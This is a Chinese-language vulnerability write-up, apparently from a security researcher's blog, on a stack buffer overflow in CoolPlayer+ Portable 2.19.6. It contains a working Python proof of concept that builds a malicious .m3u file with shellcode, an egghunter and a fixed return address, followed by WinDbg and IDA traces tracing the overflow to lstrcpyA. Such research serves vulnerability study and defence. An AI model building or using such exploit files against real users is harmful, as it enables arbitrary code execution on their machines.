[端午安康]CoolPlayer+ Portable 2.19.6 - .m3u缓冲区溢出漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top

恰逢端午,记得吃粽子哦!祝大家端午安康!


漏洞说明


软件下载:
https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom

PoC:

#!/usr/bin/python 
total_buf = 2000 
filename="evil.m3u" 
# msfvenom -p windows/exec cmd=calc.exe -b \x00\x0a\x0c\0d EXITFUN=thread -f c 
# Payload size: 220 bytes 
shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x9a\xc7\xdb\xe9\x31\xc9\xb1"
 "\x31\x31\x58\x18\x83\xe8\xfc\x03\x58\x8e\x25\x2e\x15\x46\x2b" 
"\xd1\xe6\x96\x4c\x5b\x03\xa7\x4c\x3f\x47\x97\x7c\x4b\x05\x1b" 
"\xf6\x19\xbe\xa8\x7a\xb6\xb1\x19\x30\xe0\xfc\x9a\x69\xd0\x9f" 
"\x18\x70\x05\x40\x21\xbb\x58\x81\x66\xa6\x91\xd3\x3f\xac\x04" 
"\xc4\x34\xf8\x94\x6f\x06\xec\x9c\x8c\xde\x0f\x8c\x02\x55\x56" 
"\x0e\xa4\xba\xe2\x07\xbe\xdf\xcf\xde\x35\x2b\xbb\xe0\x9f\x62" 
"\x44\x4e\xde\x4b\xb7\x8e\x26\x6b\x28\xe5\x5e\x88\xd5\xfe\xa4" 
"\xf3\x01\x8a\x3e\x53\xc1\x2c\x9b\x62\x06\xaa\x68\x68\xe3\xb8" 
"\x37\x6c\xf2\x6d\x4c\x88\x7f\x90\x83\x19\x3b\xb7\x07\x42\x9f" 
"\xd6\x1e\x2e\x4e\xe6\x41\x91\x2f\x42\x09\x3f\x3b\xff\x50\x55" 
"\xba\x8d\xee\x1b\xbc\x8d\xf0\x0b\xd5\xbc\x7b\xc4\xa2\x40\xae" 
"\xa1\x5d\x0b\xf3\x83\xf5\xd2\x61\x96\x9b\xe4\x5f\xd4\xa5\x66" 
"\x6a\xa4\x51\x76\x1f\xa1\x1e\x30\xf3\xdb\x0f\xd5\xf3\x48\x2f" 
"\xfc\x97\x0f\xa3\x9c\x79\xaa\x43\x06\x86") 
# Egghunter - 32 bytes 
eggh = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" 
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" 
"\xef\xb8\x54\x30\x30\x57\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7") 
# EIP overwrite appears to depend upon location from where the evil file is loaded from 
# Tested from location - C: 
# For e.g. offset will be different if file is loaded from C: (260) vs C:Windows (249) 
junk = "A"*28 
eip = "\xa1\x99\x42\x00" 
# 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh] 
evil = junk + eggh + "\x90"*200 + eip + "\x90"*18 + "T00WT00W" + shellcode + "\x90"*1490 
file = open(filename , 'w') 
file.write(evil) 
file.close()

运行PoC生成一个m3u音频文件,用对应版本播放器打开即可


漏洞复现


此漏洞是由于CoolPlayer Portable在处理文件时会对文件进行一系列的判断,比如文件类型,比如是否包含HTTP,FTP等字段,然而唯独没有对文件长度进行判断而是直接进行读取,并处理,这个过程中会调用到一个函数,在函数中会执行lstrcpy的操作,这个过程会造成缓冲区溢出,通过覆盖返回地址,导致任意代码执行,下面对此漏洞进行详细分析。

首先生成漏洞文件,打开,附加windbg,到达漏洞现场

0:004> g
(8dc.a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00399718 ecx=00000000 edx=0012f084 esi=00db0780 edi=000007d0
eip=41414141 esp=0012f18c ebp=000007d1 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f188 41414141 41414141 41414141 41414141 0x41414141
0012f18c 41414141 41414141 41414141 41414141 0x41414141
0012f190 41414141 41414141 41414141 41414141 0x41414141
0012f194 41414141 41414141 41414141 41414141 0x41414141
0012f198 41414141 41414141 41414141 41414141 0x41414141
0012f19c 41414141 41414141 41414141 41414141 0x41414141
0012f1a0 41414141 41414141 41414141 41414141 0x41414141
0012f1a4 41414141 41414141 41414141 41414141 0x41414141

通过kb回溯,可以发现堆栈已经被破坏,通过mona确定具体的覆盖位置,重新设置长度,可以看到堆栈回溯的真实情况。

0:000> g
(384.a58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00399718 ecx=00000000 edx=0012f084 esi=00db0780 edi=000000dc
eip=0040cc00 esp=0012f18c ebp=000000dd iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
coolplayer_+0xcc00:
0040cc00 00897c24200f    add     byte ptr [ecx+0F20247Ch],cl ds:0023:0f20247c=??
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f1c4 00416925 003704e6 00000014 0b010742 coolplayer_+0xcc00
0012f1c8 003704e6 00000014 0b010742 00000000 coolplayer_+0x16925

就从00416925附近位置开始分析。


漏洞分析


首先在最外层调用找到了一处函数

0:004> bp 0040ca40
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\CoolPlayer+Portable\App\CoolPlayer+\coolplayer+.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\CoolPlayer+Portable\App\CoolPlayer+\coolplayer+.exe
0:004> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=00db0780 edx=00393f48 esi=00399188 edi=00399188
eip=0040ca40 esp=0012f7f4 ebp=00000001 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
coolplayer_+0xca40:
0040ca40 81ec40060000    sub     esp,640h

sub_40ca40函数只有一个参数,通过观察esp就能看到这个参数的内容。

0:000> dc ecx
00db0780  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00db0790  74655320 676e6974 64415c73 696e696d   Settings\Admini
00db07a0  61727473 5c726f74 6c697665 75336d2e  strator\evil.m3u

可以看到,这个参数就是lpFileName,就是漏洞文件的名称,接下来开始向下跟踪。首先会进行一处文件读取操作。

0:000> p
eax=00000148 ebx=00000148 ecx=7c93003d edx=012c0000 esi=00db0780 edi=77c164bf
eip=0040cbf2 esp=0012f1a0 ebp=00000000 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
coolplayer_+0xcbf2:
0040cbf2 53              push    ebx
0:000> p
eax=00000148 ebx=00000148 ecx=7c93003d edx=012c0000 esi=00db0780 edi=77c164bf
eip=0040cbf3 esp=0012f19c ebp=00000000 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
coolplayer_+0xcbf3:
0040cbf3 ff1554614300    call    dword ptr [coolplayer_+0x36154 (00436154)] ds:0023:00436154={kernel32!GetFileSize (7c810b07)}
0:000> p
eax=000000dc ebx=00000148 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=77c164bf
eip=0040cbf9 esp=0012f1a4 ebp=00000000 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
coolplayer_+0xcbf9:
0040cbf9 8bf8            mov     edi,eax

读取完毕后,eax寄存器的值变为dc,也就是读取到了文件大小,接下来跟踪到了一处malloc操作。

0:000> p
eax=000000dc ebx=00000148 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=000000dc
eip=0040cc0e esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
coolplayer_+0xcc0e:
0040cc0e 55              push    ebp
0:000> p
eax=000000dc ebx=00000148 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=000000dc
eip=0040cc0f esp=0012f1a0 ebp=000000dd iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
coolplayer_+0xcc0f:
0040cc0f ff151c624300    call    dword ptr [coolplayer_+0x3621c (0043621c)] ds:0023:0043621c={msvcrt!malloc (77bfc407)}
0:000> dd esp
0012f1a0  000000dd 00399188 00399188 00000001

这里会申请一个缓冲区,长度为dd,也就是dc+1 = 220,也就是payload的长度,这里以文件大小为基本开辟了一片用于保存文件内容的缓冲区,可以看到这个过程并没有对文件长度进行判断,接下来继续跟踪。

0:000> p
eax=00000148 ebx=00399718 ecx=00000000 edx=0012f1f0 esi=00db0780 edi=000000dc
eip=0040cc25 esp=0012f19c ebp=000000dd iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
coolplayer_+0xcc25:
0040cc25 57              push    edi
0:000> p
eax=00000148 ebx=00399718 ecx=00000000 edx=0012f1f0 esi=00db0780 edi=000000dc
eip=0040cc26 esp=0012f198 ebp=000000dd iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
coolplayer_+0xcc26:
0040cc26 53              push    ebx
0:000> p
eax=00000148 ebx=00399718 ecx=00000000 edx=0012f1f0 esi=00db0780 edi=000000dc
eip=0040cc27 esp=0012f194 ebp=000000dd iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
coolplayer_+0xcc27:
0040cc27 50              push    eax
0:000> p
eax=00000148 ebx=00399718 ecx=00000000 edx=0012f1f0 esi=00db0780 edi=000000dc
eip=0040cc28 esp=0012f190 ebp=000000dd iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
coolplayer_+0xcc28:
0040cc28 ff1508614300    call    dword ptr [coolplayer_+0x36108 (00436108)] ds:0023:00436108={kernel32!ReadFile (7c801812)}
0:000> dd esp
0012f190  00000148 00399718 000000dc 0012f1f0
0012f1a0  00000000 00399188 00399188 00000001

这里调用了ReadFile,读取文件大小,大小是dc,也就是之前获取到的文件长度,这里读取到文件的内容。

0:000> p
eax=00000001 ebx=00399718 ecx=7c80189c edx=7c92e4f4 esi=00db0780 edi=000000dc
eip=0040cc2e esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
coolplayer_+0xcc2e:
0040cc2e 33c9            xor     ecx,ecx
0:000> dc ebx
00399718  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00399728  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00399738  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00399748  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00399758  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00399768  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

已经读取到畸形字符串了,接下来会到达一处循环。

0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000001
eip=0040cc9a esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc9a:
0040cc9a 47              inc     edi
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc9b esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
coolplayer_+0xcc9b:
0040cc9b 3bfd            cmp     edi,ebp
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc9d esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc9d:
0040cc9d 7297            jb      coolplayer_+0xcc36 (0040cc36)           [br=1]
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc36 esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc36:
0040cc36 8a041f          mov     al,byte ptr [edi+ebx]      ds:0023:0039971a=41
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc39 esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc39:
0040cc39 3c0d            cmp     al,0Dh
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc3b esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
coolplayer_+0xcc3b:
0040cc3b 740a            je      coolplayer_+0xcc47 (0040cc47)           [br=0]
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc3d esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
coolplayer_+0xcc3d:
0040cc3d 3c0a            cmp     al,0Ah
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc3f esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
coolplayer_+0xcc3f:
0040cc3f 7406            je      coolplayer_+0xcc47 (0040cc47)           [br=0]
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc41 esp=0012f1a4 ebp=000000dd iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
coolplayer_+0xcc41:
0040cc41 3b7c2420        cmp     edi,dword ptr [esp+20h] ss:0023:0012f1c4=000000dc
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc45 esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc45:
0040cc45 7553            jne     coolplayer_+0xcc9a (0040cc9a)           [br=1]
0:000> p
eax=00000041 ebx=00399718 ecx=00000000 edx=7c92e4f4 esi=00db0780 edi=00000002
eip=0040cc9a esp=0012f1a4 ebp=000000dd iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
coolplayer_+0xcc9a:
0040cc9a 47              inc     edi

大致观察一下这处循环,这里会对是否到达字符串末尾,比如\x0a\x0d等字符进行判断,如果遇到了就停止,不遇到则继续循环,看eax的值,就是在不断的读取文件内容进行一个字节一个字节的判断。

看一下这个IDA的伪代码。

          do
          {
            v12 = *((_BYTE *)v9 + v11);
            if ( (v12 == 13 || v12 == 10 || v11 == v28) && v10 < v11 )
            {
              if ( sscanf((const char *)v9 + v10, Format, &ReturnedString) == 1 && ReturnedString != 35 )
                sub_40C960(a1, &ReturnedString, 0, (int)lpFileName, v25, v26);
              if ( *((_BYTE *)v9 + v11 + 1) == 10 )
                ++v11;
              v10 = v11 + 1;
            }
            ++v11;
          }
          while ( v11 < v8 );

这里实际上最后执行的就是sscanf,会不断拷贝字符串至ReturnedString中,当满足if条件时,会调用sub_40C960函数。

0:004> g
Breakpoint 0 hit
eax=00393f48 ebx=00399718 ecx=00000003 edx=0012f1f4 esi=00db0780 edi=000000dc
eip=0040cc87 esp=0012f18c ebp=000000dd iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
coolplayer_+0xcc87:
0040cc87 e8d4fcffff      call    coolplayer_+0xc960 (0040c960)
0:000> dd esp
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll - 
0012f18c  00393f48 0012f1f4 00000000 00db0780
0012f19c  00000003 00000028 00399188 00399188
0012f1ac  00000001 00000001 00000148 00000003
0012f1bc  00000028 77d6b8cd 000000dc 00000282
0012f1cc  00000001 00000000 0012f218 77d6c60d
0012f1dc  001611d8 00650314 00000000 006f4b40
0012f1ec  00000281 000000dc 41414141 41414141
0012f1fc  41414141 41414141 41414141 41414141
0:000> dc poi(esp+4)
0012f1f4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f204  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f214  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f224  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f234  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f244  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

调用函数时,可以看到第二个参数,也就是ReturnString已经被畸形字符串覆盖了。

来看一下这个函数的伪代码。

char *__cdecl sub_40C960(int a1, LPCSTR lpString2, LPCSTR lpString, int a4, int a5, int a6)
{
  char *result; // eax@2
  CHAR String1[260]; // [sp+Ch] [bp-104h]@4

  if ( sub_40C640((char *)lpString2) )
  {
    result = sub_40BFC0(a1, (char *)lpString2, lpString);
  }
  else if ( *lpString2 == 92 )
  {
    qmemcpy(String1, (const void *)a4, a5);
    lstrcpyA(&String1[a5], lpString2 + 1);
    result = sub_40BFC0(a1, String1, lpString);
  }
  else
  {
    qmemcpy(String1, (const void *)a4, a6);
    lstrcpyA(&String1[a6], lpString2);
    result = sub_40BFC0(a1, String1, lpString);
  }
  return result;

这里胡调用lstrcpy函数,这歌函数拷贝的内容是lpString2,也就是第二个参数,在这三处lstrcpy下断点,这样不管哪个if条件判断通过都能够命中断点。

0:000> p
eax=0012f0ac ebx=0012f1f4 ecx=00000000 edx=00000028 esi=00db07a8 edi=0012f0ac
eip=0040ca0a esp=0012f070 ebp=000000dd iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
coolplayer_+0xca0a:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0040ca0a ff1520614300    call    dword ptr [coolplayer_+0x36120 (00436120)] ds:0023:00436120={kernel32!lstrcpyA (7c80be91)}
0:000> dd esp
0012f070  0012f0ac 0012f1f4 000000dc 00db0780

第二个参数就是0012f1f4也就是畸形字符串的地址,接下来执行完毕后。

0:000> p
eax=0012f0ac ebx=0012f1f4 ecx=7c80bebd edx=0012f189 esi=00db07a8 edi=0012f0ac
eip=0040ca10 esp=0012f078 ebp=000000dd iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
coolplayer_+0xca10:
0040ca10 8b8c241c010000  mov     ecx,dword ptr [esp+11Ch] ss:0023:0012f194=00000000
0:000> dc 0012f0ac
0012f0ac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f0bc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f0cc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012f0dc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

目标地址已经被畸形字符串覆盖了,接下来执行到返回的位置。

0:000> p
eax=00000000 ebx=0012f1f4 ecx=00000000 edx=0012f084 esi=00db07a8 edi=000007d0
eip=0040ca2e esp=0012f07c ebp=000007d1 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
coolplayer_+0xca2e:
0040ca2e 5e              pop     esi
0:000> p
eax=00000000 ebx=0012f1f4 ecx=00000000 edx=0012f084 esi=00db0780 edi=000007d0
eip=0040ca2f esp=0012f080 ebp=000007d1 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
coolplayer_+0xca2f:
0040ca2f 5b              pop     ebx
0:000> p
eax=00000000 ebx=00399718 ecx=00000000 edx=0012f084 esi=00db0780 edi=000007d0
eip=0040ca30 esp=0012f084 ebp=000007d1 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
coolplayer_+0xca30:
0040ca30 81c404010000    add     esp,104h
0:000> p
eax=00000000 ebx=00399718 ecx=00000000 edx=0012f084 esi=00db0780 edi=000007d0
eip=0040ca36 esp=0012f188 ebp=000007d1 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
coolplayer_+0xca36:
0040ca36 c3              ret
0:000> dd esp
0012f188  41414141 41414141 41414141 41414141
0012f198  41414141 41414141 41414141 41414141
0012f1a8  41414141 41414141 41414141 41414141
0012f1b8  41414141 41414141 41414141 41414141
0012f1c8  41414141 41414141 41414141 41414141
0012f1d8  41414141 41414141 41414141 41414141

返回时返回地址已经被覆盖了,这时候返回会直接打到代码执行的位置。

0:000> p
eax=00000000 ebx=00399718 ecx=00000000 edx=0012f084 esi=00db0780 edi=000007d0
eip=41414141 esp=0012f18c ebp=000007d1 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
41414141 ??              ???

总结一下整个过程,首先CoolPlayer Portable会加载.m3u文件,并进行一系列判断,随后会根据文件大小开辟一个缓冲区,并且读取文件的内容,在这个过程中,没有对长度和文件内容进行判断,从而导致在后续函数调用处理文件内容时,由于lstrcpy引发字符串拷贝,造成栈溢出,通过覆盖返回地址,达到任意代码执行。

Comments
Write a Comment